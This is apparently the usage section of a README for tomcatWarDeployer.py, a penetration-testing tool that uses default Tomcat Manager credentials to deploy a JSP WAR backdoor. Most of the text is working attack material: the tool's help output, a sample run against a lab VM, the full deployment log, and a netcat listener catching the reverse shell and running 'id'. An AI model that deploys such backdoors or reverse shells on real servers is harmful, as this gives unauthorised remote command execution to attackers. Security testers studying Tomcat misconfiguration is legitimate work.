Usage
As simple as providing server's address with port, as a IP:PORT pair. Here goes the help:

user$ python tomcatWarDeployer.py --help

Apache Tomcat auto WAR deployment & launching tool
    Mariusz B. / MGeeky '16

Penetration Testing utility aiming at presenting danger of leaving Tomcat misconfigured.

Usage: tomcatWarDeployer.py [options] server

  server        Specifies server address. Please also include port after colon.

Options:
  -h, --help            show this help message and exit

  General options:
    -v, --verbose       Verbose mode.
    -G OUTFILE, --generate=OUTFILE
                        Generate JSP backdoor only and put it into specified
                        outfile path then exit. Do not perform any
                        connections, scannings, deployment and so on.
    -U USER, --user=USER
                        Tomcat Manager Web Application HTTP Auth username.
                        Default="tomcat"
    -P PASS, --pass=PASS
                        Tomcat Manager Web Application HTTP Auth password.
                        Default="tomcat"

  Connection options:
    -H RHOST, --host=RHOST
                        Remote host for reverse tcp payload connection. When
                        specified, RPORT must be specified too. Otherwise,
                        bind tcp payload will be deployed listening on 0.0.0.0
    -p PORT, --port=PORT
                        Remote port for the reverse tcp payload when used with
                        RHOST or Local port if no RHOST specified thus acting
                        as a Bind shell endpoint.
    -u URL, --url=URL   Apache Tomcat management console URL. Default:
                        /manager/

  Payload options:
    -R APPNAME, --remove=APPNAME
                        Remove deployed app with specified name. Can be used
                        for post-assessment cleaning
    -X PASSWORD, --shellpass=PASSWORD
                        Specifies authentication password for uploaded shell,
                        to prevent unauthenticated usage. Default: randomly
                        generated. Specify "None" to leave the shell
                        unauthenticated.
    -t TITLE, --title=TITLE
                        Specifies head>title for uploaded JSP WAR payload.
                        Default: "JSP Application"
    -n APPNAME, --name=APPNAME
                        Specifies JSP application name. Default: "jsp_app"
    -x, --unload        Unload existing JSP Application with the same name.
                        Default: no.
    -C, --noconnect     Do not connect to the spawned shell immediately. By
                        default this program will connect to the spawned
                        shell, specifying this option let's you use other
                        handlers like Metasploit, NetCat and so on.
    -f WARFILE, --file=WARFILE
                        Custom WAR file to deploy. By default the script will
                        generate own WAR file on-the-fly.

And sample usage on Kevgir 1 VM by canyoupwn.me running at 192.168.56.100:8080 :

user$ python tomcatWarDeployer.py -C -x -v -H 192.168.56.101 -p 4545 -n shell 192.168.56.100:8080

    Apache Tomcat auto WAR deployment & launching tool
    Mariusz B. / MGeeky '16

Penetration Testing utility aiming at presenting danger of leaving Tomcat misconfigured.

INFO: Reverse shell will connect to: 192.168.56.101:4545.
DEBUG: Browsing to "http://192.168.56.100:8080/manager/"... Creds: tomcat:tomcat
DEBUG: Apache Tomcat Manager Application reached & validated.
DEBUG: Generating JSP WAR backdoor code...
DEBUG: Preparing additional code for Reverse TCP shell
DEBUG: Generating temporary structure for shell WAR at: "/tmp/tmpzndaGR"
DEBUG: Working with Java at version: 1.8.0_60
DEBUG: Generating web.xml with servlet-name: "JSP Application"
DEBUG: Generating WAR file at: "/tmp/shell.war"
DEBUG: added manifest
adding: files/(in = 0) (out= 0)(stored 0%)
adding: files/WEB-INF/(in = 0) (out= 0)(stored 0%)
adding: files/WEB-INF/web.xml(in = 541) (out= 254)(deflated 53%)
adding: files/META-INF/(in = 0) (out= 0)(stored 0%)
adding: files/META-INF/MANIFEST.MF(in = 68) (out= 67)(deflated 1%)
adding: index.jsp(in = 4684) (out= 1597)(deflated 65%)
DEBUG: WAR file structure:
DEBUG: /tmp/tmpzndaGR
├── files
│   ├── META-INF
│   │   └── MANIFEST.MF
│   └── WEB-INF
│       └── web.xml
└── index.jsp

3 directories, 3 files
WARNING: Application with name: "shell" is already deployed.
DEBUG: Unloading existing one...
DEBUG: Unloading application: "http://192.168.56.100:8080/shell/"
DEBUG: Succeeded.
DEBUG: Deploying application: shell from file: "/tmp/shell.war"
DEBUG: Removing temporary WAR directory: "/tmp/tmpzndaGR"
DEBUG: Succeeded, invoking it...
DEBUG: Invoking application at url: "http://192.168.56.100:8080/shell/"
DEBUG: Adding 'X-Pass: b8vYQ9EU7suV' header for shell functionality authentication.
WARNING: Set up your incoming shell listener, I'm giving you 3 seconds.
INFO: JSP Backdoor up & running on http://192.168.56.100:8080/shell/
INFO: Happy pwning, here take that password for web shell: 'b8vYQ9EU7suV'

Which will result in the following JSP application accessible remotely via WEB:


As one can see, there is password needed for leveraging deployed backdoor, preventing thus unauthenticated access during conducted assessment.
Also, this particular example performs reverse shell popping by connecting here to the 192.168.56.101:4545 . There one can observe:

user $ nc -klvp 4545
listening on [any] 4545 ...
192.168.56.100: inverse host lookup failed: Unknown host
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.100] 44423
id
uid=106(tomcat7) gid=114(tomcat7) groups=114(tomcat7)

Summing up, user has spawned WEB application providing WEB backdoor, authenticated via POST 'password' parameter that can be specified by user or randomly generated by the program. Then, the application upon receiving X-Pass header in the invocation phase, spawned reverse connection to our netcat handler. The HTTP header is being requested here in order to prevent user refreshing WEB gui and keep trying to bind or reverse connect. Also this makes use of authentication to reach that code.
That would be all I guess.